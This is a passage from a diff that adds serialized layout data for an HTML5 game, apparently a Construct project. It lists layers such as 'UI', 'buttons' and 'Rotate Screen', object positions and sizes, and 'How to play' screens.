+ 0.5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ -28,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "UI",
+ 4,
+ 654311734295593,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 399.8127136230469,
+ 47,
+ 0,
+ 399.0473022460938,
+ 61.19575500488281,
+ 0,
+ 0,
+ 1,
+ 0.4920127689838409,
+ 0.625,
+ 0,
+ 0,
+ []
+ ],
+ 414,
+ 1701,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 617,
+ 976,
+ 0,
+ 276,
+ 56,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 11,
+ 190,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "15",
+ 0.37,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -24,
+ 0
+ ]
+ ],
+ [
+ [
+ 540,
+ 978,
+ 0,
+ 129.3661346435547,
+ 41.88112640380859,
+ 0,
+ 0,
+ 1,
+ 0.5107913613319397,
+ 0.5111111402511597,
+ 0,
+ 0,
+ []
+ ],
+ 12,
+ 198,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -136,
+ 665,
+ 0,
+ 26.70857048034668,
+ 22.14857292175293,
+ 0,
+ 0,
+ 1,
+ 0.5365853905677795,
+ 0.6176470518112183,
+ 0,
+ 0,
+ []
+ ],
+ 15,
+ 219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -319,
+ 816,
+ 0,
+ 73.65709686279297,
+ 49.42104721069336,
+ 0,
+ 0,
+ 1,
+ 0.4716981053352356,
+ 0.3802816867828369,
+ 0,
+ 0,
+ []
+ ],
+ 6,
+ 245,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -210,
+ 419,
+ 0,
+ 31.04940605163574,
+ 29.4969367980957,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 26,
+ 266,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -389,
+ 817,
+ 0,
+ 27.4635066986084,
+ 22.94526672363281,
+ 0,
+ 0,
+ 1,
+ 0.5365853905677795,
+ 0.6176470518112183,
+ 0,
+ 0,
+ []
+ ],
+ 15,
+ 267,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -867,
+ 64,
+ 0,
+ 392.9456787109375,
+ 69.46009826660156,
+ 0,
+ 0,
+ 1,
+ 0.3914141356945038,
+ 0.300000011920929,
+ 0,
+ 0,
+ []
+ ],
+ 21,
+ 268,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -278,
+ 11,
+ 0,
+ 109.7249984741211,
+ 98.3132553100586,
+ 0,
+ 0,
+ 1,
+ 0.5526315569877625,
+ 0.5104166865348816,
+ 0,
+ 0,
+ []
+ ],
+ 22,
+ 269,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ -59,
+ 0,
+ 60.34564971923828,
+ 56.19960403442383,
+ 0,
+ 0,
+ 1,
+ 0.5416666865348816,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 27,
+ 270,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -330,
+ -329,
+ 0,
+ 291,
+ 86,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 33,
+ 288,
+ [],
+ [
+ []
+ ],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "1230",
+ 0.45,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -28,
+ 0
+ ]
+ ],
+ [
+ [
+ 397.8392333984375,
+ -244.2552490234375,
+ 0,
+ 334,
+ 46.92756652832031,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 63,
+ 292,
+ [],
+ [
+ []
+ ],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "100",
+ 0.32,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -22,
+ 0
+ ]
+ ],
+ [
+ [
+ 398,
+ -202,
+ 0,
+ 334,
+ 55.39462280273438,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 64,
+ 304,
+ [],
+ [
+ []
+ ],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "100",
+ 0.32,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -22,
+ 0
+ ]
+ ],
+ [
+ [
+ -709,
+ 214,
+ 0,
+ 39.62396621704102,
+ 32.8588981628418,
+ 0,
+ 0,
+ 1,
+ 0.5365853905677795,
+ 0.6176470518112183,
+ 0,
+ 0,
+ []
+ ],
+ 15,
+ 328,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -858,
+ 151,
+ 0,
+ 109.8452987670898,
+ 78.34005737304688,
+ 0,
+ 0,
+ 1,
+ 0.4716981053352356,
+ 0.3802816867828369,
+ 0,
+ 0,
+ []
+ ],
+ 6,
+ 343,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -938,
+ 285,
+ 0,
+ 130.5034637451172,
+ 46.8474006652832,
+ 0,
+ 0,
+ 1,
+ 0.5076923370361328,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 134,
+ 326,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1220,
+ 238,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5006711483001709,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 189,
+ 524,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -96,
+ 322,
+ 0,
+ 109.6789169311523,
+ 115.3913650512695,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 191,
+ 537,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 301.5,
+ 374,
+ 0,
+ 97,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ 0,
+ 0,
+ []
+ ],
+ 271,
+ 126,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -388,
+ 368,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 272,
+ 127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -388,
+ 394,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 273,
+ 128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -388,
+ 362,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 274,
+ 129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -608,
+ 542,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 275,
+ 130,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -504,
+ 542,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 276,
+ 131,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -400,
+ 542,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 277,
+ 132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -296,
+ 542,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 278,
+ 133,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -192,
+ 542,
+ 0,
+ 92,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5057471394538879,
+ 0,
+ 0,
+ []
+ ],
+ 279,
+ 134,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -700,
+ 274,
+ 0,
+ 184,
+ 64,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 236,
+ 135,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -728,
+ 256,
+ 0,
+ 334,
+ 46.36328125,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 51,
+ 291,
+ [],
+ [
+ []
+ ],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "2500",
+ 0.3,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -20,
+ 0
+ ]
+ ],
+ [
+ [
+ -188,
+ 386,
+ 0,
+ 81,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5432098507881165,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 286,
+ 140,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -604,
+ 498,
+ 0,
+ 81,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5555555820465088,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 287,
+ 141,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -496,
+ 498,
+ 0,
+ 87,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5862069129943848,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 288,
+ 142,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -392,
+ 498,
+ 0,
+ 87,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5862069129943848,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 289,
+ 143,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -288,
+ 498,
+ 0,
+ 94,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.585106372833252,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 290,
+ 144,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -184,
+ 498,
+ 0,
+ 94,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.585106372833252,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 291,
+ 146,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 238,
+ 112,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 416,
+ 1704,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 314,
+ 111,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 417,
+ 1705,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 390,
+ 111,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 418,
+ 1706,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 466,
+ 111,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 419,
+ 1707,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 542,
+ 111,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 420,
+ 1708,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 88,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 421,
+ 1709,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 163,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 422,
+ 1710,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 238,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 423,
+ 1711,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 313,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 424,
+ 1712,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 425,
+ 1713,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 463,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 426,
+ 1714,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 538,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 427,
+ 1715,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 613,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 428,
+ 1716,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 688,
+ 188,
+ 0,
+ 71,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 429,
+ 1717,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 270,
+ 0,
+ 222,
+ 82,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 415,
+ 1703,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 201.5,
+ 374,
+ 0,
+ 97,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ 0,
+ 0,
+ []
+ ],
+ 270,
+ 125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401.5,
+ 374,
+ 0,
+ 97,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ 0,
+ 0,
+ []
+ ],
+ 430,
+ 1718,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 499.5,
+ 370,
+ 0,
+ 97,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.4845360815525055,
+ 0.4742268025875092,
+ 0,
+ 0,
+ []
+ ],
+ 431,
+ 1719,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 601.5,
+ 373,
+ 0,
+ 97,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ 0,
+ 0,
+ []
+ ],
+ 432,
+ 1720,
+ [],
+ [],
+ [
+ 0,
+ "no",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 299,
+ 329,
+ 0,
+ 69,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5072463750839233,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 282,
+ 110,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 329,
+ 0,
+ 76,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 283,
+ 137,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 499,
+ 329,
+ 0,
+ 76,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5263158082962036,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 284,
+ 138,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 597,
+ 329,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5199999809265137,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 285,
+ 139,
+ [],
+ [
+ [
+ 0,
+ 6,
+ 0,
+ 0.4,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 202,
+ 374,
+ 0,
+ 86,
+ 85,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5058823823928833,
+ 0,
+ 0,
+ []
+ ],
+ 280,
+ 136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 106,
+ 453,
+ 0,
+ 199.4756622314453,
+ 53.36848068237305,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5737704634666443,
+ 0,
+ 0,
+ []
+ ],
+ 158,
+ 530,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 348,
+ 8,
+ 0,
+ 414,
+ 74,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 4836,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "123",
+ 0.3,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -20,
+ 0
+ ]
+ ],
+ [
+ [
+ 30,
+ 26,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 4837,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 774,
+ 26,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 433,
+ 4839,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -142,
+ -42,
+ 0,
+ 154,
+ 117,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ 0,
+ 0,
+ []
+ ],
+ 462,
+ 4923,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -138,
+ 22,
+ 0,
+ 154,
+ 117,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ 0,
+ 0,
+ []
+ ],
+ 463,
+ 4925,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -142,
+ 92,
+ 0,
+ 154,
+ 117,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ 0,
+ 0,
+ []
+ ],
+ 464,
+ 4926,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 736,
+ 92,
+ 0,
+ 139.0474853515625,
+ 26.40824508666992,
+ 0,
+ 0,
+ 1,
+ 0.604651153087616,
+ 1.530612230300903,
+ 0,
+ 0,
+ []
+ ],
+ 116,
+ 4928,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -116,
+ 188,
+ 0,
+ 154,
+ 117,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.504273533821106,
+ 0,
+ 0,
+ []
+ ],
+ 466,
+ 1775,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 5,
+ 823022895509019,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 6,
+ 990338250890331,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 7,
+ 528191969637273,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "How to play1",
+ 800,
+ 480,
+ false,
+ "how1",
+ 418469467392624,
+ [
+ [
+ "Background0",
+ 0,
+ 706578346310515,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ false,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Background1",
+ 1,
+ 390765581332885,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Background2",
+ 2,
+ 458139869901735,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -159,
+ 1292,
+ 0,
+ 31.04940605163574,
+ 29.4969367980957,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 26,
+ 323,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 3,
+ 402717024363071,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 447,
+ 158,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "UI",
+ 4,
+ 987525417715565,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 730,
+ 439,
+ 0,
+ 142.4782104492188,
+ 61.13215255737305,
+ 0,
+ 0,
+ 1,
+ 0.5761589407920837,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 5,
+ 334,
+ [],
+ [
+ [
+ 1,
+ 6,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 149,
+ -182,
+ 0,
+ 39.62396621704102,
+ 32.8588981628418,
+ 0,
+ 0,
+ 1,
+ 0.5365853905677795,
+ 0.6176470518112183,
+ 0,
+ 0,
+ []
+ ],
+ 15,
+ 339,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 126,
+ 453,
+ 0,
+ 231.9195251464844,
+ 62.04864501953125,
+ 0,
+ 0,
+ 1,
+ 0.5087719559669495,
+ 0.6721311211585999,
+ 0,
+ 0,
+ []
+ ],
+ 117,
+ 338,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 379,
+ 251,
+ 0,
+ 923.4080810546875,
+ 554.9659423828125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 6825,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 5,
+ 692429161871990,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "How to play2",
+ 800,
+ 480,
+ false,
+ "how2",
+ 141546325849995,
+ [
+ [
+ "Background0",
+ 0,
